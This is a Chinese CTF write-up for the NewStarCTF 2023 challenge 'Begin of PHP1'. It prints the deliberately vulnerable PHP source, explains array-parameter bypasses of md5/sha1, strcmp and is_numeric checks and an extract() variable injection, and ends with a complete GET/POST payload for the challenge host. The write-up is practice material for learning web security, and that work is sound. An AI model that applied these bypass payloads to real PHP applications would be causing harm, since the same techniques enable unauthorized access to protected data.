[NewStarCTF 2023 公开赛道]Begin of PHP1

开始代码审计.

 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

LEVEL1:  因为hash函数无法解析数组会返回false，直接用数组绕过key1[]=1&key2[]=2

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

LEVEL2: 和第一关一样数组绕过key3[]=3

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

LEVEL3: strcmp()无法解析数组，所以继续用数组绕过key4[]=4

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

LEVEL4: 没错继续用数组绕过,is_numeric()无法解析数组会返回false，而且数组大于2023.

至于为什么大于2023，我们来做个小实验.key5[]=5

<?php
$list=[5];
if($list>2023){echo 0;};	
?>

result: 0 

就是那么神奇 .

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

LEVEL5: 哈哈又是数组绕过，这里要输入的POST内容不能是字母和数字，所以我们可以用数组，当然也可以不用只要输入的value为真且不是正则表达是匹配到的范围就可以了,flag5=. ，或者flag5[]=love

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

开始构造payload.

http://34bdf7e3-ab3b-462a-9993-25c34ac97098.node5.buuoj.cn:81/?key1[]=1&key2[]=2&key4[]=4&key5[]=5

post: key3[]=3&flag5[]=love

得到flag，游戏结束~